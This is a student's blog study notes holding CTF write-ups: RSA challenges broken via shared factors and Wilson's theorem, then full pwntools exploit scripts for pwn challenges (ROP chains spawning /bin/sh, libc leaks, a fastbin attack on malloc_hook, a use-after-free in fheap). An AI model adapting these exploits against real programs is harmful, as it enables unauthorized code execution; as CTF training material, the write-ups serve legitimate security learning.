c = 20366856150710305124583065375297661819795242238376485264951185336996083744604593418983336285185491197426018595031444652123288461491879021096028203694136683203441692987069563513026001861435722117985559909692670907347563594578265880806540396777223906955491026286843168637367593400342814725694366078337030937104035993569672959361347287894143027186846856772983058328919716702982222142848848117768499996617588305301483085428547267337070998767412540225911508196842253134355901263861121500650240296746702967594224401650220168780537141654489215019142122284308116284129004257364769474080721001708734051264841350424152506027932

n = 25360227412666612490102161131174584819240931803196448481224305250583841439581008528535930814167338381983764991296575637231916547647970573758269411168219302370541684789125112505021148506809643081950237623703181025696585998044695691322012183660424636496897073045557400768745943787342548267386564625462143150176113656264450210023925571945961405709276631990731602198104287528528055650050486159837612279600415259486306154947514005408907590083747758953115486124865486720633820559135063440942528031402951958557630833503775112010715604278114325528993771081233535247118481765852273252404963430792898948219539473312462979849137
c = 19892772524651452341027595619482734356243435671592398172680379981502759695784087900669089919987705675899945658648623800090272599154590123082189645021800958076861518397325439521139995652026377132368232502108620033400051346127757698623886142621793423225749240286511666556091787851683978017506983310073524398287279737680091787333547538239920607761080988243639547570818363788673249582783015475682109984715293163137324439862838574460108793714172603672477766831356411304446881998674779501188163600664488032943639694828698984739492200699684462748922883550002652913518229322945040819064133350314536378694523704793396169065179

n = 22726855244632356029159691753451822163331519237547639938779517751496498713174588935566576167329576494790219360727877166074136496129927296296996970048082870488804456564986667129388136556137013346228118981936899510687589585286517151323048293150257036847475424044378109168179412287889340596394755257704938006162677656581509375471102546261355748251869048003600520034656264521931808651038524134185732929570384705918563982065684145766427962502261522481994191989820110575981906998431553107525542001187655703534683231777988419268338249547641335718393312295800044734534761692799403469497954062897856299031257454735945867491191
c = 6040119795175856407541082360023532204614723858688636724822712717572759793960246341800308149739809871234313049629732934797569781053000686185666374833978403290525072598774001731350244744590772795701065129561898116576499984185920661271123665356132719193665474235596884239108030605882777868856122378222681140570519180321286976947154042272622411303981011302586225630859892731724640574658125478287115198406253847367979883768000812605395482952698689604477719478947595442185921480652637868335673233200662100621025061500895729605305665864693122952557361871523165300206070325660353095592778037767395360329231331322823610060006

n = 23297333791443053297363000786835336095252290818461950054542658327484507406594632785712767459958917943095522594228205423428207345128899745800927319147257669773812669542782839237744305180098276578841929496345963997512244219376701787616046235397139381894837435562662591060768476997333538748065294033141610502252325292801816812268934171361934399951548627267791401089703937389012586581080223313060159456238857080740699528666411303029934807011214953984169785844714159627792016926490955282697877141614638806397689306795328344778478692084754216753425842557818899467945102646776342655167655384224860504086083147841252232760941
c = 5418120301208378713115889465579964257871814114515046096090960159737859076829258516920361577853903925954198406843757303687557848302302200229295916902430205737843601806700738234756698575708612424928480440868739120075888681672062206529156566421276611107802917418993625029690627196813830326369874249777619239603300605876865967515719079797115910578653562787899019310139945904958024882417833736304894765433489476234575356755275147256577387022873348906900149634940747104513850154118106991137072643308620284663108283052245750945228995387803432128842152251549292698947407663643895853432650029352092018372834457054271102816934

n = 28873667904715682722987234293493200306976947898711255064125115933666968678742598858722431426218914462903521596341771131695619382266194233561677824357379805303885993804266436810606263022097900266975250431575654686915049693091467864820512767070713267708993899899011156106766178906700336111712803362113039613548672937053397875663144794018087017731949087794894903737682383916173267421403408140967713071026001874733487295007501068871044649170615709891451856792232315526696220161842742664778581287321318748202431466508948902745314372299799561625186955234673012098210919745879882268512656931714326782335211089576897310591491
c = 9919880463786836684987957979091527477471444996392375244075527841865509160181666543016317634963512437510324198702416322841377489417029572388474450075801462996825244657530286107428186354172836716502817609070590929769261932324275353289939302536440310628698349244872064005700644520223727670950787924296004296883032978941200883362653993351638545860207179022472492671256630427228461852668118035317021428675954874947015197745916918197725121122236369382741533983023462255913924692806249387449016629865823316402366017657844166919846683497851842388058283856219900535567427103603869955066193425501385255322097901531402103883869

n = 22324685947539653722499932469409607533065419157347813961958075689047690465266404384199483683908594787312445528159635527833904475801890381455653807265501217328757871352731293000303438205315816792663917579066674842307743845261771032363928568844669895768092515658328756229245837025261744260614860746997931503548788509983868038349720225305730985576293675269073709022350700836510054067641753713212999954307022524495885583361707378513742162566339010134354907863733205921845038918224463903789841881400814074587261720283879760122070901466517118265422863420376921536734845502100251460872499122236686832189549698020737176683019
c = 1491527050203294989882829248560395184804977277747126143103957219164624187528441047837351263580440686474767380464005540264627910126483129930668344095814547592115061057843470131498075060420395111008619027199037019925701236660166563068245683975787762804359520164701691690916482591026138582705558246869496162759780878437137960823000043988227303003876410503121370163303711603359430764539337597866862508451528158285103251810058741879687875218384160282506172706613359477657215420734816049393339593755489218588796607060261897905233453268671411610631047340459487937479511933450369462213795738933019001471803157607791738538467

n = 27646746423759020111007828653264027999257847645666129907789026054594393648800236117046769112762641778865620892443423100189619327585811384883515424918752749559627553637785037359639801125213256163008431942593727931931898199727552768626775618479833029101249692573716030706695702510982283555740851047022672485743432464647772882314215176114732257497240284164016914018689044557218920300262234652840632406067273375269301008409860193180822366735877288205783314326102263756503786736122321348320031950012144905869556204017430593656052867939493633163499580242224763404338807022510136217187779084917996171602737036564991036724299
c = 21991524128957260536043771284854920393105808126700128222125856775506885721971193109361315961129190814674647136464887087893990660894961612838205086401018885457667488911898654270235561980111174603323721280911197488286585269356849579263043456316319476495888696219344219866516861187654180509247881251251278919346267129904739277386289240394384575124331135655943513831009934023397457082184699737734388823763306805326430395849935770213817533387235486307008892410920611669932693018165569417445885810825749609388627231235840912644654685819620931663346297596334834498661789016450371769203650109994771872404185770230172934013971

n = 20545487405816928731738988374475012686827933709789784391855706835136270270933401203019329136937650878386117187776530639342572123237188053978622697282521473917978282830432161153221216194169879669541998840691383025487220850872075436064308499924958517979727954402965612196081404341651517326364041519250125036424822634354268773895465698920883439222996581226358595873993976604699830613932320720554130011671297944433515047180565484495191003887599891289037982010216357831078328159028953222056918189365840711588671093333013117454034313622855082795813122338562446223041211192277089225078324682108033843023903550172891959673551
c = 14227439188191029461250476692790539654619199888487319429114414557975376308688908028140817157205579804059783807641305577385724758530138514972962209062230576107406142402603484375626077345190883094097636019771377866339531511965136650567412363889183159616188449263752475328663245311059988337996047359263288837436305588848044572937759424466586870280512424336807064729894515840552404756879590698797046333336445465120445087587621743906624279621779634772378802959109714400516183718323267273824736540168545946444437586299214110424738159957388350785999348535171553569373088251552712391288365295267665691357719616011613628772175

n = 27359727711584277234897157724055852794019216845229798938655814269460046384353568138598567755392559653460949444557879120040796798142218939251844762461270251672399546774067275348291003962551964648742053215424620256999345448398805278592777049668281558312871773979931343097806878701114056030041506690476954254006592555275342579529625231194321357904668512121539514880704046969974898412095675082585315458267591016734924646294357666924293908418345508902112711075232047998775303603175363964055048589769318562104883659754974955561725694779754279606726358588862479198815999276839234952142017210593887371950645418417355912567987
c = 3788529784248255027081674540877016372807848222776887920453488878247137930578296797437647922494510483767651150492933356093288965943741570268943861987024276610712717409139946409513963043114463933146088430004237747163422802959250296602570649363016151581364006795894226599584708072582696996740518887606785460775851029814280359385763091078902301957226484620428513604630585131511167015763190591225884202772840456563643159507805711004113901417503751181050823638207803533111429510911616160851391754754434764819568054850823810901159821297849790005646102129354035735350124476838786661542089045509656910348676742844957008857457

n = 27545937603751737248785220891735796468973329738076209144079921449967292572349424539010502287564030116831261268197384650511043068738911429169730640135947800885987171539267214611907687570587001933829208655100828045651391618089603288456570334500533178695238407684702251252671579371018651675054368606282524673369983034682330578308769886456335818733827237294570476853673552685361689144261552895758266522393004116017849397346259119221063821663280935820440671825601452417487330105280889520007917979115568067161590058277418371493228631232457972494285014767469893647892888681433965857496916110704944758070268626897045014782837
c = 14069112970608895732417039977542732665796601893762401500878786871680645798754783315693511261740059725171342404186571066972546332813667711135661176659424619936101038903439144294886379322591635766682645179888058617577572409307484708171144488708410543462972008179994594087473935638026612679389759756811490524127195628741262871304427908481214992471182859308828778119005750928935764927967212343526503410515793717201360360437981322576798056276657140363332700714732224848346808963992302409037706094588964170239521193589470070839790404597252990818583717869140229811712295005710540476356743378906642267045723633874011649259842

n = 25746162075697911560263181791216433062574178572424600336856278176112733054431463253903433128232709054141607100891177804285813783247735063753406524678030561284491481221681954564804141454666928657549670266775659862814924386584148785453647316864935942772919140563506305666207816897601862713092809234429096584753263707828899780979223118181009293655563146526792388913462557306433664296966331469906428665127438829399703002867800269947855869262036714256550075520193125987011945192273531732276641728008406855871598678936585324782438668746810516660152018244253008092470066555687277138937298747951929576231036251316270602513451
c = 17344284860275489477491525819922855326792275128719709401292545608122859829827462088390044612234967551682879954301458425842831995513832410355328065562098763660326163262033200347338773439095709944202252494552172589503915965931524326523663289777583152664722241920800537867331030623906674081852296232306336271542832728410803631170229642717524942332390842467035143631504401140727083270732464237443915263865880580308776111219718961746378842924644142127243573824972533819479079381023103585862099063382129757560124074676150622288706094110075567706403442920696472627797607697962873026112240527498308535903232663939028587036724

n = 23288486934117120315036919418588136227028485494137930196323715336208849327833965693894670567217971727921243839129969128783853015760155446770590696037582684845937132790047363216362087277861336964760890214059732779383020349204803205725870225429985939570141508220041286857810048164696707018663758416807708910671477407366098883430811861933014973409390179948577712579749352299440310543689035651465399867908428885541237776143404376333442949397063249223702355051571790555151203866821867908531733788784978667478707672984539512431549558672467752712004519300318999208102076732501412589104904734983789895358753664077486894529499
c = 10738254418114076548071448844964046468141621740603214384986354189105236977071001429271560636428075970459890958274941762528116445171161040040833357876134689749846940052619392750394683504816081193432350669452446113285638982551762586656329109007214019944975816434827768882704630460001209452239162896576191876324662333153835533956600295255158377025198426950944040643235430211011063586032467724329735785947372051759042138171054165854842472990583800899984893232549092766400510300083585513014171220423103452292891496141806956300396540682381668367564569427813092064053993103537635994311143010708814851867239706492577203899024

n = 19591441383958529435598729113936346657001352578357909347657257239777540424811749817783061233235817916560689138344041497732749011519736303038986277394036718790971374656832741054547056417771501234494768509780369075443550907847298246275717420562375114406055733620258777905222169702036494045086017381084272496162770259955811174440490126514747876661317750649488774992348005044389081101686016446219264069971370646319546429782904810063020324704138495608761532563310699753322444871060383693044481932265801505819646998535192083036872551683405766123968487907648980900712118052346174533513978009131757167547595857552370586353973
c = 3834917098887202931981968704659119341624432294759361919553937551053499607440333234018189141970246302299385742548278589896033282894981200353270637127213483172182529890495903425649116755901631101665876301799865612717750360089085179142750664603454193642053016384714515855868368723508922271767190285521137785688075622832924829248362774476456232826885801046969384519549385428259591566716890844604696258783639390854153039329480726205147199247183621535172450825979047132495439603840806501254997167051142427157381799890725323765558803808030109468048682252028720241357478614704610089120810367192414352034177484688502364022887

n = 19254242571588430171308191757871261075358521158624745702744057556054652332495961196795369630484782930292003238730267396462491733557715379956969694238267908985251699834707734400775311452868924330866502429576951934279223234676654749272932769107390976321208605516299532560054081301829440688796904635446986081691156842271268059970762004259219036753174909942343204432795076377432107630203621754552804124408792358220071862369443201584155711893388877350138023238624566616551246804054720492816226651467017802504094070614892556444425915920269485861799532473383304622064493223627552558344088839860178294589481899206318863310603
c = 6790553533991297205804561991225493105312398825187682250780197510784765226429663284220400480563039341938599783346724051076211265663468643826430109013245014035811178295081939958687087477312867720289964506097819762095244479129359998867671811819738196687884696680463458661374310994610760009474264115750204920875527434486437536623589684519411519100170291423367424938566820315486507444202022408003879118465761273916755290898112991525546114191064022991329724370064632569903856189236177894007766690782630247443895358893983735822824243487181851098787271270256780891094405121947631088729917398317652320497765101790132679171889

n = 26809700251171279102974962949184411136459372267620535198421449833298448092580497485301953796619185339316064387798092220298630428207556482805739803420279056191194360049651767412572609187680508073074653291350998253938793269214230457117194434853888765303403385824786231859450351212449404870776320297419712486574804794325602760347306432927281716160368830187944940128907971027838510079519466846176106565164730963988892400240063089397720414921398936399927948235195085202171264728816184532651138221862240969655185596628285814057082448321749567943946273776184657698104465062749244327092588237927996419620170254423837876806659
c = 386213556608434013769864727123879412041991271528990528548507451210692618986652870424632219424601677524265011043146748309774067894985069288067952546139416819404039688454756044862784630882833496090822568580572859029800646671301748901528132153712913301179254879877441322285914544974519727307311002330350534857867516466612474769753577858660075830592891403551867246057397839688329172530177187042229028685862036140779065771061933528137423019407311473581832405899089709251747002788032002094495379614686544672969073249309703482556386024622814731015767810042969813752548617464974915714425595351940266077021672409858645427346

模不互素
找到俩组看gcd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
>>> print gmpy2.gcd(n8,n5)
1325858063837986003054269573076125676042235626267641902113331362466437238110461493378529668287290524
7672555236113243737052154870766497712316527930505297186801275550916040864110054874404662151687798186
4180076497524093201404558036301820216274968638825245150755772559259575544101918590311068466601618472
464832499
>>> p=1325858063837986003054269573076125676042235626267641902113331362466437238110461493378529668287
2905247672555236113243737052154870766497712316527930505297186801275550916040864110054874404662151687
7981864180076497524093201404558036301820216274968638825245150755772559259575544101918590311068466601
618472464832499
>>> q = n8//p
>>> c = 38349170988872029319819687046591193416244322947593619195539375510534996074403332340181891419
7024630229938574254827858989603328289498120035327063712721348317218252989049590342564911675590163110
1665876301799865612717750360089085179142750664603454193642053016384714515855868368723508922271767190
2855211377856880756228329248292483627744764562328268858010469693845195493854282595915667168908446046
9625878363939085415303932948072620514719924718362153517245082597904713249543960384080650125499716705
1142427157381799890725323765558803808030109468048682252028720241357478614704610089120810367192414352
034177484688502364022887
>>> phi = (p-1)*(q-1)
>>> d=gmpy2.invert(65537,phi)
>>> m=pow(c,d,n8)
>>> print hex(m)[2:].decode('hex')
flag{abdcbe5fd94e23b3de429223ab9c2fdf}

roarctf rsa

1
2
3
4
5
6
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
A = 2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128

题目很短主要还是通过A求得pq
通过开根号即可

1
2
y=83
x=2

下面就是约束爆破qp了

1
2
3
4
5
6
7
8
9
10
11
12
>>> temp = gmpy2.iroot(n/166,2)[0]
>>> for i in range(65537):
... a = gmpy2.next_prime(temp-i)
... if n%a==0:
... q = a
... p = n//q
... break
>>> phi = (p-1)*(q-1)
>>> d = gmpy2.invert(e,phi)
>>> m = pow(c,d,n)
>>> hex(m)[2:].decode('hex')
'RoarCTF{wm-l1l1ll1l1l1l111ll}'

babyrsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sympy
import random

def myGetPrime():
A= getPrime(513)
print(A)
B=A-random.randint(1e3,1e5)
print(B)
return sympy.nextPrime((B!)%A)
p=myGetPrime()
#A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
#B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596

q=myGetPrime()
#A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
#B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026

r=myGetPrime()

n=p*q*r
#n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=pow(flag,e,n)
#e=0x1001
#c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
#so,what is the flag?

Wilson’s theorem
当且仅当p为素数时:( p -1 )! ≡ -1 ( mod p )
可以观察发现A与B的差很小
通过构造求得pqr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> def myGetPrime(a,b):
... ans=1
... for i in range(b+1,a):
... ans=(i*ans)%a
...
... ans *= -1
... s = gmpy2.invert(ans,a)
... return gmpy2.next_prime(s)
...
>>> p = myGetPrime(A1,B1)
>>> q = myGetPrime(A2,B2)
>>> r = n//p//q
>>> phi = (p-1)*(q-1)*(r-1)
>>> d = gmpy2.invert(e,phi)
>>> m = pow(c,d,n)
>>> hex(m)[2:].decode('hex')
'RoarCTF{wm-CongrAtu1ation4-1t4-ju4t-A-bAby-R4A}'

pwn

ciscn_2019_c_1

37
gets函数很明显的栈溢出
这边有个加密部分。。。其实可以构造\0直接绕过strlen
这样就不需要加密了
泄露puts的got表地址后搜索libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
debug = 1
if debug == 1:
a = process("./rop")
else:
a = remote('node3.buuoj.cn',29305)

elf = ELF("rop")
p_r = 0x400c83
a.recvuntil("choice!")
a.sendline("1")
temp = 'a'*87 + '\0' + p64(p_r) + p64(elf.got['puts']) + p64(elf.plt['puts'])
temp += p64(0x400B28)
pay = ''
a.recvuntil("encrypted")
#gdb.attach(a)
a.sendline(temp)
print a.recvline()
print a.recvline()
print a.recvline()
puts = u64(a.recvline()[:-1].ljust(8,'\0'))
print hex(puts)
libc = LibcSearcher('puts', puts)
libc_base = puts - libc.dump('puts')
sys = libc_base+libc.dump('execve')
bash = libc_base+libc.dump('str_bin_sh')
a.recvuntil("choice!")
a.sendline("1")
p_2=0x400c81
temp = ''
temp += 'a'*87 + '\0' + p64(p_r) + p64(bash) + p64(p_2) + p64(0) + p64(0) + p64(sys)
a.recvuntil("encrypted")
#gdb.attach(a)
a.sendline(temp)
a.interactive()

38

ciscn_2019_n_1

gets溢出后修改对应的浮点数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
debug = 0
if debug == 1:
a = process("./ciscn_2019_n_1")
else:
a = remote('node3.buuoj.cn',25753)

#a.recvuntil("number.")
pay = 'a'*44 + p64(0x41348000)
a.sendline(pay)
a.interactive()

ogeek babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
debug = 0
if debug == 1:
a = process("./pwn")
else:
a = remote('node3.buuoj.cn',27215)
elf = ELF("pwn")
libc = ELF("libc-2.23.so")
pay = '\0' + '\xff'*10
a.send(pay)
a.recvuntil("Correct\n")
pay = 'a'*0xe7 + 'aaaa' + p32(elf.plt['write']) + p32(0x8048825) + p32(1) + p32(elf.got['write']) + p32(4)
#gdb.attach(a)
a.send(pay)
write = u32(a.recv(4).ljust(4,'\0'))
print hex(write)
sys = write - libc.symbols["write"] + libc.symbols["system"]
bash = write - libc.symbols["write"] + libc.search("/bin/sh").next()

pay = '\0'*4 + '\xff'*10
a.send(pay)
a.recvuntil("Correct\n")
pay = 'a'*0xe7 + 'aaaa' + p32(sys) + p32(sys) + p32(bash) + p32(bash)

a.send(pay)
#gdb.attach(a)
a.interactive()

get_started_3dsctf_2016

打法很多
ropchain是第一想法
后来看到了后门也可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806fc0a) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b91e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fc0a) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b91e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fc0a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x08049463) # xor eax, eax ; ret
p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ad) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x0806fc31) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080eb060) # padding without overwrite ebx
p += pack('<I', 0x0806fc0a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x08049463) # xor eax, eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0807b1ef) # inc eax ; ret
p += pack('<I', 0x0806d7e5) # int 0x80
a = process("./rop")
a.recvuntil("Qual a palavrinha magica? ")
pay = 'a'*0x38+p
a.sendline(pay)
a.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
debug = 1
if debug == 1:
a = process("./rop")
else:
a = remote('node3.buuoj.cn',29354)
pay = 'a'*0x38 + p32(0x80489A0) + p32(0x308CD64F)*2 + p32(0x195719D1)
#gdb.attach(a)
a.sendline(pay)
a.interactive()

远程环境有毛病只能shellcode了

cgctf note

有些地方还是没有完全搞懂
大致攻击流程复现了下

unsorted bin leak

首先分配大小超过0x80的堆块free后show来leak//因为程序没有检查show时分配的堆块还是否存在
调试发现leak地址位于main_arena+88处
39
libc_base就是leak地址-(main_arena+88)

fastbin attack

通过修改fd指针指向malloc_hook
再edit到onegadget处调用一次malloc即可

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

debug = 1
if debug == 1:
a = process("./note3")
else:
a = remote("45.76.173.177",6666)

def add(x,y):
a.recvuntil("choice>>")
a.sendline("1")
a.recvuntil("Size:")
a.sendline(str(y))
a.recvuntil("Content:")
a.send(x)
def show(x):
a.recvuntil("choice>>")
a.sendline("2")
a.recvuntil("Index:")
a.sendline(x)
def edit(x,y):
a.recvuntil("choice>>")
a.sendline("3")
a.recvuntil("Index:")
a.sendline(str(y))
a.send(x)
def delete(x):
a.recvuntil("choice>>")
a.sendline("4")
a.recvuntil("Index:")
a.sendline(x)

one_gadget = 0xd694f
area = 0x397B00
malloc_hook = 0x397AF0
add('a'*0x80,0x80)
add('a'*0x80,0x80)
#gdb.attach(a)
delete('0')
show('0')
libc = temp = u64(a.recv(6).ljust(8,'\0')) - area - 88
one_gadget += libc
malloc_hook += libc
print 'libc_base:'+hex(libc)
print 'one_gadget:'+hex(one_gadget)
print 'malloc_hook:'+hex(malloc_hook)
add('a'*16,96)
delete('2')
edit(p64(malloc_hook-0x23),2)
add('\n',96)
pay = '\0'*0x13+p64(one_gadget)
add(pay,96)
gdb.attach(a)
a.recvuntil("choice>>")
a.sendline("1")
a.recvuntil("Size:")
a.sendline("1")
a.interactive()

hctf2016–fheap

简单的UAF
分析出程序的结构体后发现free后未置0
利用uaf可以先分配三个小堆块然后分配0x20正好能覆盖到结构体中的指针
因为开启了pie通过覆盖低位为puts函数
下面就能调用delete函数leak出libc
然后整出system地址后重复一次攻击即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

debug = 1
if debug == 1:
a = process("./fheap")
else:
a = remote("45.76.173.177",6666)

def create(x,y):
a.recvuntil("3.quit")
a.sendline("create ")
a.recvuntil("Pls give string size:")
a.sendline(str(y))
a.recvuntil("str:")
a.send(x)
def delete(x):
a.recvuntil("3.quit")
a.sendline("delete ")
a.recvuntil("id:")
a.sendline(str(x))
a.recvuntil("Are you sure?:")
a.sendline("yes")
def leak(addr):
delete(0)
data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(printf_plt)
create(data,0x20)
a.recvuntil("quit")
a.send("delete ")
a.recvuntil('id:')
a.send(str(1)+'\n')
a.recvuntil('sure?:')
a.send('yes01234'+p64(addr))
a.recvuntil('aa')
data=a.recvuntil('####')[:-4]
data += "\x00"
return data

create('a'*8,8)
create('b'*8,8)
create('c'*8,8)
delete(2)
delete(1)
delete(0)
data = 'a'*0x10+'b'*8+'\x2D'
create(data,0x20)
delete(1)
a.recvuntil('b'*8)
libc_base = u64(a.recv(6).ljust(8,'\0'))-0xd2d
printf_plt = libc_base + 0x9D0
delete(0)
data = 'a'*0x10+'b'*8+'\x2D'
create(data,0x20)
delete(1)
a.recvuntil('b'*8)
data = u64(a.recv(6).ljust(8,'\0'))
d = DynELF(leak, libc_base, elf=ELF('./fheap'))
system_addr = d.lookup('system', 'libc')
delete(0)
print '**********leak**********'
print 'leak_libc_base:' + hex(libc_base)
print 'leak_printf_plt:' + hex(printf_plt)
print "system_addr:" + hex(system_addr)
print '************************'
data = "/bin/sh;"
data += '1'*(0x18-len(data))
data += p64(system_addr)
create(data,0x20)
#gdb.attach(a)
print '*********attack*********'
delete(1)
a.interactive()

大二上学习笔记
http://www.psbazx.com/2019/09/05/大二上学习笔记/
Beitragsautor
皮三宝
Veröffentlicht am
September 4, 2019
Urheberrechtshinweis